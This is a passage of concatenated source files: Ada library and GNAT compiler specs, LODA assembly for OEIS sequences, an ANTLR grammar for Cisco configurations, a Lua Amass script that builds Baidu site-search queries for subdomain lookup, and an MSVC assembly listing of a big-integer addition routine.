-- replaced by renamings of these routines (which is perfectly valid
-- since it is semantically undetectable that we have renamings here
-- rather than "real" subprogram declarations).
function Index
(Source : in String;
Pattern : in String;
Going : in Direction := Forward;
Mapping : in Maps.Character_Mapping := Maps.Identity)
return Natural
renames Ada.Strings.Search.Index;
function Index
(Source : in String;
Pattern : in String;
Going : in Direction := Forward;
Mapping : in Maps.Character_Mapping_Function)
return Natural
renames Ada.Strings.Search.Index;
function Index
(Source : in String;
Set : in Maps.Character_Set;
Test : in Membership := Inside;
Going : in Direction := Forward)
return Natural
renames Ada.Strings.Search.Index;
function Index_Non_Blank
(Source : in String;
Going : in Direction := Forward)
return Natural
renames Ada.Strings.Search.Index_Non_Blank;
function Count
(Source : in String;
Pattern : in String;
Mapping : in Maps.Character_Mapping := Maps.Identity)
return Natural
renames Ada.Strings.Search.Count;
function Count
(Source : in String;
Pattern : in String;
Mapping : in Maps.Character_Mapping_Function)
return Natural
renames Ada.Strings.Search.Count;
function Count
(Source : in String;
Set : in Maps.Character_Set)
return Natural
renames Ada.Strings.Search.Count;
procedure Find_Token
(Source : in String;
Set : in Maps.Character_Set;
Test : in Membership;
First : out Positive;
Last : out Natural)
renames Ada.Strings.Search.Find_Token;
------------------------------------
-- String Translation Subprograms --
------------------------------------
function Translate
(Source : in String;
Mapping : in Maps.Character_Mapping)
return String;
procedure Translate
(Source : in out String;
Mapping : in Maps.Character_Mapping);
function Translate
(Source : in String;
Mapping : in Maps.Character_Mapping_Function)
return String;
procedure Translate
(Source : in out String;
Mapping : in Maps.Character_Mapping_Function);
---------------------------------------
-- String Transformation Subprograms --
---------------------------------------
function Replace_Slice
(Source : in String;
Low : in Positive;
High : in Natural;
By : in String)
return String;
procedure Replace_Slice
(Source : in out String;
Low : in Positive;
High : in Natural;
By : in String;
Drop : in Truncation := Error;
Justify : in Alignment := Left;
Pad : in Character := Space);
function Insert
(Source : in String;
Before : in Positive;
New_Item : in String)
return String;
procedure Insert
(Source : in out String;
Before : in Positive;
New_Item : in String;
Drop : in Truncation := Error);
function Overwrite
(Source : in String;
Position : in Positive;
New_Item : in String)
return String;
procedure Overwrite
(Source : in out String;
Position : in Positive;
New_Item : in String;
Drop : in Truncation := Right);
function Delete
(Source : in String;
From : in Positive;
Through : in Natural)
return String;
procedure Delete
(Source : in out String;
From : in Positive;
Through : in Natural;
Justify : in Alignment := Left;
Pad : in Character := Space);
---------------------------------
-- String Selector Subprograms --
---------------------------------
function Trim
(Source : in String;
Side : in Trim_End)
return String;
procedure Trim
(Source : in out String;
Side : in Trim_End;
Justify : in Alignment := Left;
Pad : in Character := Space);
function Trim
(Source : in String;
Left : in Maps.Character_Set;
Right : in Maps.Character_Set)
return String;
procedure Trim
(Source : in out String;
Left : in Maps.Character_Set;
Right : in Maps.Character_Set;
Justify : in Alignment := Strings.Left;
Pad : in Character := Space);
function Head
(Source : in String;
Count : in Natural;
Pad : in Character := Space)
return String;
procedure Head
(Source : in out String;
Count : in Natural;
Justify : in Alignment := Left;
Pad : in Character := Space);
function Tail
(Source : in String;
Count : in Natural;
Pad : in Character := Space)
return String;
procedure Tail
(Source : in out String;
Count : in Natural;
Justify : in Alignment := Left;
Pad : in Character := Space);
----------------------------------
-- String Constructor Functions --
----------------------------------
function "*"
(Left : in Natural;
Right : in Character)
return String;
function "*"
(Left : in Natural;
Right : in String)
return String;
end Ada.Strings.Fixed;
|
programs/oeis/292/A292540.asm | karttu/loda | 1 | 1837 | <gh_stars>1-10
; A292540: Number of 3-cycles in the n-Sierpinski tetrahedron graph.
; 4,20,80,320,1280,5120,20480,81920,327680,1310720,5242880,20971520,83886080,335544320,1342177280,5368709120,21474836480,85899345920,343597383680,1374389534720,5497558138880,21990232555520,87960930222080,351843720888320,1407374883553280
mov $1,4
pow $1,$0
mul $1,5
div $1,4
mul $1,4
|
projects/batfish/src/batfish/grammar/cisco/Cisco_common.g4 | luispedrosa/batfish | 0 | 1655 | <reponame>luispedrosa/batfish<gh_stars>0
parser grammar Cisco_common;
options {
tokenVocab = CiscoLexer;
}
access_list_action
:
PERMIT
| DENY
;
community
:
com = COMMUNITY_NUMBER
| com = DEC
| com = INTERNET
| com = LOCAL_AS
| com = NO_ADVERTISE
| com = NO_EXPORT
;
description_line
:
DESCRIPTION text = M_DESCRIPTION_NON_NEWLINE? NEWLINE
;
exact_match [String matchText]
:
{(_input.LT(1).getType() == VARIABLE || _input.LT(1).getType() == COMMUNITY_LIST_NUM_EXPANDED) && _input.LT(1).getText().equals($matchText)}?
(
VARIABLE
| COMMUNITY_LIST_NUM_EXPANDED
)
;
exit_line
:
EXIT NEWLINE
;
interface_name
:
(
name_prefix_alpha = M_Interface_PREFIX
(
name_middle_parts += DEC
(
name_middle_parts += FORWARD_SLASH
| name_middle_parts += PERIOD
)
)* range
)
|
(
name = VARIABLE
(
FORWARD_SLASH DEC
)?
)
;
port_specifier
:
(
EQ
(
args += port
)+
)
|
(
GT arg = port
)
|
(
NEQ arg = port
)
|
(
LT arg = port
)
|
(
RANGE arg1 = port arg2 = port
)
;
port
:
DEC
| BOOTPC
| BOOTPS
| BGP
| CMD
| DOMAIN
| EXEC
| FTP
| FTP_DATA
| HOSTNAME
| IDENT
| ISAKMP
| LPD
| MLAG
| NETBIOS_DGM
| NETBIOS_NS
| NETBIOS_SS
| NNTP
| NON500_ISAKMP
| NTP
| PIM_AUTO_RP
| POP3
| RIP
| SMTP
| SNMP
| SNMPTRAP
| SSH
| SUNRPC
| SYSLOG
| TACACS
| TELNET
| TFTP
| WWW
;
protocol
:
AHP
| DEC
| EIGRP
| ESP
| GRE
| ICMP
| IGMP
| IP
| IPINIP
| IPV6
| OSPF
| PIM
| SCTP
| TCP
| UDP
| VRRP
;
range
:
(
range_list += subrange
(
COMMA range_list += subrange
)*
)
| NONE
;
subrange
:
low = DEC
(
DASH high = DEC
)?
;
switchport_trunk_encapsulation
:
DOT1Q
| ISL
| NEGOTIATE
; |
programs/oeis/047/A047504.asm | jmorken/loda | 1 | 29402 | <reponame>jmorken/loda
; A047504: Numbers that are congruent to {1, 2, 3, 4, 5, 7} mod 8.
; 1,2,3,4,5,7,9,10,11,12,13,15,17,18,19,20,21,23,25,26,27,28,29,31,33,34,35,36,37,39,41,42,43,44,45,47,49,50,51,52,53,55,57,58,59,60,61,63,65,66,67,68,69,71,73,74,75,76,77,79,81,82,83,84,85,87
mov $2,$0
lpb $0
add $2,1
mov $3,$0
trn $0,6
trn $3,4
mov $1,$3
add $2,1
lpe
add $1,1
trn $2,2
add $1,$2
|
gcc-gcc-7_3_0-release/gcc/ada/sem_ch13.ads | best08618/asylo | 7 | 28748 | ------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- S E M _ C H 1 3 --
-- --
-- S p e c --
-- --
-- Copyright (C) 1992-2016, Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING3. If not, go to --
-- http://www.gnu.org/licenses for a complete copy of the license. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
with Table;
with Types; use Types;
with Uintp; use Uintp;
package Sem_Ch13 is
procedure Analyze_At_Clause (N : Node_Id);
procedure Analyze_Attribute_Definition_Clause (N : Node_Id);
procedure Analyze_Enumeration_Representation_Clause (N : Node_Id);
procedure Analyze_Free_Statement (N : Node_Id);
procedure Analyze_Freeze_Entity (N : Node_Id);
procedure Analyze_Freeze_Generic_Entity (N : Node_Id);
procedure Analyze_Record_Representation_Clause (N : Node_Id);
procedure Analyze_Code_Statement (N : Node_Id);
procedure Analyze_Aspect_Specifications (N : Node_Id; E : Entity_Id);
-- This procedure is called to analyze aspect specifications for node N. E
-- is the corresponding entity declared by the declaration node N. Callers
-- should check that Has_Aspects (N) is True before calling this routine.
procedure Analyze_Aspect_Specifications_On_Body_Or_Stub (N : Node_Id);
-- Analyze the aspect specifications of [generic] subprogram body or stub
-- N. Callers should check that Has_Aspects (N) is True before calling the
-- routine. This routine diagnoses misplaced aspects that should appear on
-- the initial declaration of N and offers suggestions for replacements.
procedure Adjust_Record_For_Reverse_Bit_Order (R : Entity_Id);
-- Called from Freeze where R is a record entity for which reverse bit
-- order is specified and there is at least one component clause. Note:
-- component positions are normally adjusted as per AI95-0133, unless
-- -gnatd.p is used to restore original Ada 95 mode.
procedure Check_Record_Representation_Clause (N : Node_Id);
-- This procedure completes the analysis of a record representation clause
-- N. It is called at freeze time after adjustment of component clause bit
-- positions for possible non-standard bit order. In the case of Ada 2005
-- (machine scalar) mode, this adjustment can make substantial changes, so
-- some checks, in particular for component overlaps cannot be done at the
-- time the record representation clause is first seen, but must be delayed
-- till freeze time, and in particular is called after calling the above
-- procedure for adjusting record bit positions for reverse bit order.
procedure Initialize;
-- Initialize internal tables for new compilation
procedure Kill_Rep_Clause (N : Node_Id);
-- This procedure is called for a rep clause N when we are in -gnatI mode
-- (Ignore_Rep_Clauses). It replaces the node N with a null statement. This
-- is only called if Ignore_Rep_Clauses is True.
procedure Set_Enum_Esize (T : Entity_Id);
-- This routine sets the Esize field for an enumeration type T, based
-- on the current representation information available for T. Note that
-- the setting of the RM_Size field is not affected. This routine also
-- initializes the alignment field to zero.
function Minimum_Size
(T : Entity_Id;
Biased : Boolean := False) return Nat;
-- Given an elementary type, determines the minimum number of bits required
-- to represent all values of the type. This function may not be called
-- with any other types. If the flag Biased is set True, then the minimum
-- size calculation that biased representation is used in the case of a
-- discrete type, e.g. the range 7..8 gives a minimum size of 4 with
-- Biased set to False, and 1 with Biased set to True. Note that the
-- biased parameter only has an effect if the type is not biased, it
-- causes Minimum_Size to indicate the minimum size of an object with
-- the given type, of the size the type would have if it were biased. If
-- the type is already biased, then Minimum_Size returns the biased size,
-- regardless of the setting of Biased. Also, fixed-point types are never
-- biased in the current implementation. If the size is not known at
-- compile time, this function returns 0.
procedure Check_Constant_Address_Clause (Expr : Node_Id; U_Ent : Entity_Id);
-- Expr is an expression for an address clause. This procedure checks
-- that the expression is constant, in the limited sense that it is safe
-- to evaluate it at the point the object U_Ent is declared, rather than
-- at the point of the address clause. The condition for this to be true
-- is that the expression has no variables, no constants declared after
-- U_Ent, and no calls to non-pure functions. If this condition is not
-- met, then an appropriate error message is posted. This check is applied
-- at the point an object with an address clause is frozen, as well as for
-- address clauses for tasks and entries.
procedure Check_Size
(N : Node_Id;
T : Entity_Id;
Siz : Uint;
Biased : out Boolean);
-- Called when size Siz is specified for subtype T. This subprogram checks
-- that the size is appropriate, posting errors on node N as required.
-- This check is effective for elementary types and bit-packed arrays.
-- For other non-elementary types, a check is only made if an explicit
-- size has been given for the type (and the specified size must match).
-- The parameter Biased is set False if the size specified did not require
-- the use of biased representation, and True if biased representation
-- was required to meet the size requirement. Note that Biased is only
-- set if the type is not currently biased, but biasing it is the only
-- way to meet the requirement. If the type is currently biased, then
-- this biased size is used in the initial check, and Biased is False.
-- If the size is too small, and an error message is given, then both
-- Esize and RM_Size are reset to the allowed minimum value in T.
function Rep_Item_Too_Early (T : Entity_Id; N : Node_Id) return Boolean;
-- Called at start of processing a representation clause/pragma. Used to
-- check that the representation item is not being applied to an incomplete
-- type or to a generic formal type or a type derived from a generic formal
-- type. Returns False if no such error occurs. If this error does occur,
-- appropriate error messages are posted on node N, and True is returned.
generic
with procedure Replace_Type_Reference (N : Node_Id);
procedure Replace_Type_References_Generic (N : Node_Id; T : Entity_Id);
-- This is used to scan an expression for a predicate or invariant aspect
-- replacing occurrences of the name of the subtype to which the aspect
-- applies with appropriate references to the parameter of the predicate
-- function or invariant procedure. The procedure passed as a generic
-- parameter does the actual replacement of node N, which is either a
-- simple direct reference to T, or a selected component that represents
-- an appropriately qualified occurrence of T.
function Rep_Item_Too_Late
(T : Entity_Id;
N : Node_Id;
FOnly : Boolean := False) return Boolean;
-- Called at the start of processing a representation clause or a
-- representation pragma. Used to check that a representation item for
-- entity T does not appear too late (according to the rules in RM 13.1(9)
-- and RM 13.1(10)). N is the associated node, which in the pragma case
-- is the pragma or representation clause itself, used for placing error
-- messages if the item is too late.
--
-- Fonly is a flag that causes only the freezing rule (para 9) to be
-- applied, and the tests of para 10 are skipped. This is appropriate for
-- both subtype related attributes (Alignment and Size) and for stream
-- attributes, which, although certainly not subtype related attributes,
-- clearly should not be subject to the para 10 restrictions (see
-- AI95-00137). Similarly, we also skip the para 10 restrictions for
-- the Storage_Size case where they also clearly do not apply, and for
-- Stream_Convert which is in the same category as the stream attributes.
--
-- If the rep item is too late, an appropriate message is output and True
-- is returned, which is a signal that the caller should abandon processing
-- for the item. If the item is not too late, then False is returned, and
-- the caller can continue processing the item.
--
-- If no error is detected, this call also as a side effect links the
-- representation item onto the head of the representation item chain
-- (referenced by the First_Rep_Item field of the entity).
--
-- Note: Rep_Item_Too_Late must be called with the underlying type in the
-- case of a private or incomplete type. The protocol is to first check for
-- Rep_Item_Too_Early using the initial entity, then take the underlying
-- type, then call Rep_Item_Too_Late on the result.
--
-- Note: Calls to Rep_Item_Too_Late are ignored for the case of attribute
-- definition clauses which have From_Aspect_Specification set. This is
-- because such clauses are linked on to the Rep_Item chain in procedure
-- Sem_Ch13.Analyze_Aspect_Specifications. See that procedure for details.
function Same_Representation (Typ1, Typ2 : Entity_Id) return Boolean;
-- Given two types, where the two types are related by possible derivation,
-- determines if the two types have the same representation, or different
-- representations, requiring the special processing for representation
-- change. A False result is possible only for array, enumeration or
-- record types.
procedure Validate_Compile_Time_Warning_Error (N : Node_Id);
-- N is a pragma Compile_Time_Error or Compile_Warning_Error whose boolean
-- expression is not known at compile time. This procedure makes an entry
-- in a table. The actual checking is performed by Validate_Compile_Time_
-- Warning_Errors, which is invoked after calling the back end.
procedure Validate_Compile_Time_Warning_Errors;
-- This routine is called after calling the back end to validate pragmas
-- Compile_Time_Error and Compile_Time_Warning for size and alignment
-- appropriateness. The reason it is called that late is to take advantage
-- of any back-annotation of size and alignment performed by the back end.
procedure Validate_Unchecked_Conversion
(N : Node_Id;
Act_Unit : Entity_Id);
-- Validate a call to unchecked conversion. N is the node for the actual
-- instantiation, which is used only for error messages. Act_Unit is the
-- entity for the instantiation, from which the actual types etc. for this
-- instantiation can be determined. This procedure makes an entry in a
-- table and/or generates an N_Validate_Unchecked_Conversion node. The
-- actual checking is done in Validate_Unchecked_Conversions or in the
-- back end as required.
procedure Validate_Unchecked_Conversions;
-- This routine is called after calling the back end to validate unchecked
-- conversions for size and alignment appropriateness. The reason it is
-- called that late is to take advantage of any back-annotation of size
-- and alignment performed by the back end.
procedure Validate_Address_Clauses;
-- This is called after the back end has been called (and thus after the
-- alignments of objects have been back annotated). It goes through the
-- table of saved address clauses checking for suspicious alignments and
-- if necessary issuing warnings.
procedure Validate_Independence;
-- This is called after the back end has been called (and thus after the
-- layout of components has been back annotated). It goes through the
-- table of saved pragma Independent[_Component] entries, checking that
-- independence can be achieved, and if necessary issuing error messages.
-------------------------------------
-- Table for Validate_Independence --
-------------------------------------
-- If a legal pragma Independent or Independent_Components is given for
-- an entity, then an entry is made in this table, to be checked by a
-- call to Validate_Independence after back annotation of layout is done.
type Independence_Check_Record is record
N : Node_Id;
-- The pragma Independent or Independent_Components
E : Entity_Id;
-- The entity to which it applies
end record;
package Independence_Checks is new Table.Table (
Table_Component_Type => Independence_Check_Record,
Table_Index_Type => Int,
Table_Low_Bound => 1,
Table_Initial => 20,
Table_Increment => 200,
Table_Name => "Independence_Checks");
-----------------------------------
-- Handling of Aspect Visibility --
-----------------------------------
-- The visibility of aspects is tricky. First, the visibility is delayed
-- to the freeze point. This is not too complicated, what we do is simply
-- to leave the aspect "laying in wait" for the freeze point, and at that
-- point materialize and analyze the corresponding attribute definition
-- clause or pragma. There is some special processing for preconditions
-- and postonditions, where the pragmas themselves deal with the required
-- delay, but basically the approach is the same, delay analysis of the
-- expression to the freeze point.
-- Much harder is the requirement for diagnosing cases in which an early
-- freeze causes a change in visibility. Consider:
-- package AspectVis is
-- R_Size : constant Integer := 32;
--
-- package Inner is
-- type R is new Integer with
-- Size => R_Size;
-- F : R; -- freezes
-- R_Size : constant Integer := 64;
-- S : constant Integer := R'Size; -- 32 not 64
-- end Inner;
-- end AspectVis;
-- Here the 32 not 64 shows what would be expected if this program were
-- legal, since the evaluation of R_Size has to be done at the freeze
-- point and gets the outer definition not the inner one.
-- But the language rule requires this program to be diagnosed as illegal
-- because the visibility changes between the freeze point and the end of
-- the declarative region.
-- To meet this requirement, we first note that the Expression field of the
-- N_Aspect_Specification node holds the raw unanalyzed expression, which
-- will get used in processing the aspect. At the time of analyzing the
-- N_Aspect_Specification node, we create a complete copy of the expression
-- and store it in the entity field of the Identifier (an odd usage, but
-- the identifier is not used except to identify the aspect, so its Entity
-- field is otherwise unused, and we are short of room in the node).
-- This copy stays unanalyzed up to the freeze point, where we analyze the
-- resulting pragma or attribute definition clause, except that in the
-- case of invariants and predicates, we mark occurrences of the subtype
-- name as having the entity of the subprogram parameter, so that they
-- will not cause trouble in the following steps.
-- Then at the freeze point, we create another copy of this unanalyzed
-- expression. By this time we no longer need the Expression field for
-- other purposes, so we can store it there. Now we have two copies of
-- the original unanalyzed expression. One of them gets preanalyzed at
-- the freeze point to capture the visibility at the freeze point.
-- Now when we hit the freeze all at the end of the declarative part, if
-- we come across a frozen entity with delayed aspects, we still have one
-- copy of the unanalyzed expression available in the node, and we again
-- do a preanalysis using that copy and the visibility at the end of the
-- declarative part. Now we have two preanalyzed expression (preanalysis
-- is good enough, since we are only interested in referenced entities).
-- One captures the visibility at the freeze point, the other captures the
-- visibility at the end of the declarative part. We see if the entities
-- in these two expressions are the same, by seeing if the two expressions
-- are fully conformant, and if not, issue appropriate error messages.
-- Quite an awkward approach, but this is an awkard requirement
procedure Analyze_Aspects_At_Freeze_Point (E : Entity_Id);
-- Analyze all the delayed aspects for entity E at freezing point. This
-- includes dealing with inheriting delayed aspects from the parent type
-- in the case where a derived type is frozen.
procedure Check_Aspect_At_Freeze_Point (ASN : Node_Id);
-- Performs the processing described above at the freeze point, ASN is the
-- N_Aspect_Specification node for the aspect.
procedure Check_Aspect_At_End_Of_Declarations (ASN : Node_Id);
-- Performs the processing described above at the freeze all point, and
-- issues appropriate error messages if the visibility has indeed changed.
-- Again, ASN is the N_Aspect_Specification node for the aspect.
procedure Inherit_Aspects_At_Freeze_Point (Typ : Entity_Id);
-- Given an entity Typ that denotes a derived type or a subtype, this
-- routine performs the inheritance of aspects at the freeze point.
procedure Resolve_Aspect_Expressions (E : Entity_Id);
-- Name resolution of an aspect expression happens at the end of the
-- current declarative part or at the freeze point for the entity,
-- whichever comes first. For declarations in the visible part of a
-- package, name resolution takes place before analysis of the private
-- part even though the freeze point of the entity may appear later.
procedure Validate_Iterable_Aspect (Typ : Entity_Id; ASN : Node_Id);
-- For SPARK 2014 formal containers. The expression has the form of an
-- aggregate, and each entry must denote a function with the proper syntax
-- for First, Next, and Has_Element. Optionally an Element primitive may
-- also be defined.
-----------------------------------------------------------
-- Visibility of Discriminants in Aspect Specifications --
-----------------------------------------------------------
-- The discriminants of a type are visible when analyzing the aspect
-- specifications of a type declaration or protected type declaration,
-- but not when analyzing those of a subtype declaration. The following
-- routines enforce this distinction.
procedure Install_Discriminants (E : Entity_Id);
-- Make visible the discriminants of type entity E
procedure Push_Scope_And_Install_Discriminants (E : Entity_Id);
-- Push scope E and makes visible the discriminants of type entity E if E
-- has discriminants and is not a subtype.
procedure Uninstall_Discriminants (E : Entity_Id);
-- Remove visibility to the discriminants of type entity E
procedure Uninstall_Discriminants_And_Pop_Scope (E : Entity_Id);
-- Remove visibility to the discriminants of type entity E and pop the
-- scope stack if E has discriminants and is not a subtype.
end Sem_Ch13;
|
resources/scripts/scrape/baidu.ads | houey/Amass | 2 | 24981 | <gh_stars>1-10
-- Copyright 2017-2021 <NAME>. All rights reserved.
-- Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
local url = require("url")
local json = require("json")
name = "Baidu"
type = "scrape"
function start()
setratelimit(1)
end
function vertical(ctx, domain)
for i=0,100,10 do
checkratelimit()
local ok = scrape(ctx, {['url']=buildurl(domain, i)})
if not ok then
break
end
end
end
function buildurl(domain, pagenum)
local query = "site:" .. domain .. " -site:www." .. domain
local params = {
wd=query,
oq=query,
pn=pagenum,
}
return "https://www.baidu.com/s?" .. url.build_query_string(params)
end
|
oeis/017/A017292.asm | neoneye/loda-programs | 11 | 18684 | <filename>oeis/017/A017292.asm
; A017292: a(n) = (10*n + 1)^12.
; 1,3138428376721,7355827511386641,787662783788549761,22563490300366186081,309629344375621415601,2654348974297586158321,16409682740640811134241,79766443076872509863361,322475487413604782665681,1126825030131969720661201,3498450596935634189769921,9849732675807611094711841,25542038069936263923006961,61748917974902741368975281,140515219945627518837736801,303326610665644763629211521,625105506678337880602119441,1236354171303115835117980561,2357221572577185690065114881,4348632317396990233762642401
mul $0,10
add $0,1
pow $0,12
|
Palmtree.Math.Core.Implements/vs_build/x64_Release/pmc_add.asm | rougemeilland/Palmtree.Math.Core.Implements | 0 | 14086 | ; Listing generated by Microsoft (R) Optimizing Compiler Version 19.16.27026.1
include listing.inc
INCLUDELIB MSVCRT
INCLUDELIB OLDNAMES
PUBLIC Initialize_Add
PUBLIC PMC_Add_I_X
PUBLIC PMC_Add_L_X
PUBLIC PMC_Add_X_I
PUBLIC PMC_Add_X_L
PUBLIC PMC_Add_X_X
EXTRN CheckBlockLight:PROC
EXTRN AllocateNumber:PROC
EXTRN DeallocateNumber:PROC
EXTRN CommitNumber:PROC
EXTRN CheckNumber:PROC
EXTRN DuplicateNumber:PROC
EXTRN From_I_Imp:PROC
EXTRN From_L_Imp:PROC
EXTRN number_zero:BYTE
_BSS SEGMENT
fp_Add_Imp DQ 01H DUP (?)
_BSS ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$PMC_Add_I_X DD imagerel $LN10
DD imagerel $LN10+94
DD imagerel $unwind$PMC_Add_I_X
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$PMC_Add_L_X DD imagerel $LN10
DD imagerel $LN10+96
DD imagerel $unwind$PMC_Add_L_X
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$PMC_Add_X_I DD imagerel $LN10
DD imagerel $LN10+91
DD imagerel $unwind$PMC_Add_X_I
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$PMC_Add_X_L DD imagerel $LN10
DD imagerel $LN10+93
DD imagerel $unwind$PMC_Add_X_L
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$PMC_Add_X_X DD imagerel $LN24
DD imagerel $LN24+405
DD imagerel $unwind$PMC_Add_X_X
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$Add_Imp_using_ADC DD imagerel Add_Imp_using_ADC
DD imagerel Add_Imp_using_ADC+999
DD imagerel $unwind$Add_Imp_using_ADC
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$Add_Imp_using_ADCX DD imagerel Add_Imp_using_ADCX
DD imagerel Add_Imp_using_ADCX+469
DD imagerel $unwind$Add_Imp_using_ADCX
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$PMC_Add_X_I_Imp DD imagerel PMC_Add_X_I_Imp
DD imagerel PMC_Add_X_I_Imp+314
DD imagerel $unwind$PMC_Add_X_I_Imp
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$PMC_Add_X_L_Imp DD imagerel PMC_Add_X_L_Imp
DD imagerel PMC_Add_X_L_Imp+318
DD imagerel $unwind$PMC_Add_X_L_Imp
pdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$PMC_Add_X_L_Imp DD 060f01H
DD 0a640fH
DD 09340fH
DD 0700b520fH
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$PMC_Add_X_I_Imp DD 060f01H
DD 0a640fH
DD 09340fH
DD 0700b520fH
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$Add_Imp_using_ADCX DD 040a01H
DD 08340aH
DD 07006520aH
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$Add_Imp_using_ADC DD 040a01H
DD 08340aH
DD 07006520aH
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$PMC_Add_X_X DD 060f01H
DD 0a640fH
DD 09340fH
DD 0700b520fH
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$PMC_Add_X_L DD 060f01H
DD 07640fH
DD 06340fH
DD 0700b320fH
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$PMC_Add_X_I DD 060f01H
DD 07640fH
DD 06340fH
DD 0700b320fH
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$PMC_Add_L_X DD 060f01H
DD 07640fH
DD 06340fH
DD 0700b320fH
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$PMC_Add_I_X DD 060f01H
DD 07640fH
DD 06340fH
DD 0700b320fH
xdata ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; COMDAT PMC_Add_X_L_Imp
_TEXT SEGMENT
w_light_check_code$1 = 64
u$ = 64
v$ = 72
w$ = 80
PMC_Add_X_L_Imp PROC ; COMDAT
; 406 : {
mov QWORD PTR [rsp+16], rbx
mov QWORD PTR [rsp+24], rsi
push rdi
sub rsp, 48 ; 00000030H
; 407 : PMC_STATUS_CODE result;
; 408 : if (u->IS_ZERO)
test BYTE PTR [rcx+40], 2
mov rbx, r8
mov rdi, rdx
mov rsi, rcx
je SHORT $LN2@PMC_Add_X_
; 409 : {
; 410 : // u が 0 である場合
; 411 :
; 412 : if (v == 0)
test rdx, rdx
jne SHORT $LN4@PMC_Add_X_
; 413 : {
; 414 : // v が 0 である場合
; 415 :
; 416 : // u と v がともに 0 であるので、加算結果の 0 を呼び出し元に返す。
; 417 : *w = &number_zero;
lea rax, OFFSET FLAT:number_zero
mov QWORD PTR [r8], rax
; 504 : }
; 505 :
; 506 : }
; 507 : }
; 508 : return (PMC_STATUS_OK);
xor eax, eax
; 509 : }
mov rbx, QWORD PTR [rsp+72]
mov rsi, QWORD PTR [rsp+80]
add rsp, 48 ; 00000030H
pop rdi
ret 0
$LN4@PMC_Add_X_:
; 418 : }
; 419 : else
; 420 : {
; 421 : // v が 0 ではない場合
; 422 :
; 423 : // 加算結果となる v の値を持つ NUMBER_HEADER 構造体を獲得し、呼び出し元へ返す。
; 424 : if ((result = From_L_Imp(v, w)) != PMC_STATUS_OK)
mov rdx, rbx
mov rcx, rdi
call From_L_Imp
test eax, eax
je $LN11@PMC_Add_X_
; 509 : }
mov rbx, QWORD PTR [rsp+72]
mov rsi, QWORD PTR [rsp+80]
add rsp, 48 ; 00000030H
pop rdi
ret 0
$LN2@PMC_Add_X_:
; 425 : return (result);
; 426 : }
; 427 : }
; 428 : else
; 429 : {
; 430 : // u が 0 ではない場合
; 431 :
; 432 : if (v == 0)
test rdi, rdi
jne SHORT $LN7@PMC_Add_X_
; 433 : {
; 434 : // v が 0 である場合
; 435 :
; 436 : // 加算結果となる u の値を持つ NUMBER_HEADER 構造体を獲得し、呼び出し元へ返す。
; 437 : if ((result = DuplicateNumber(u, w)) != PMC_STATUS_OK)
mov rdx, rbx
call DuplicateNumber
test eax, eax
je $LN11@PMC_Add_X_
; 509 : }
mov rbx, QWORD PTR [rsp+72]
mov rsi, QWORD PTR [rsp+80]
add rsp, 48 ; 00000030H
pop rdi
ret 0
$LN7@PMC_Add_X_:
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 644 : _BitScanReverse64(&pos, x);
bsr rax, rdi
; 654 : return (sizeof(x) * 8 - 1 - pos);
mov ecx, 63 ; 0000003fH
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; 494 : if ((result = AllocateNumber(w, w_bit_count, &w_light_check_code)) != PMC_STATUS_OK)
lea r8, QWORD PTR w_light_check_code$1[rsp]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 654 : return (sizeof(x) * 8 - 1 - pos);
sub ecx, eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
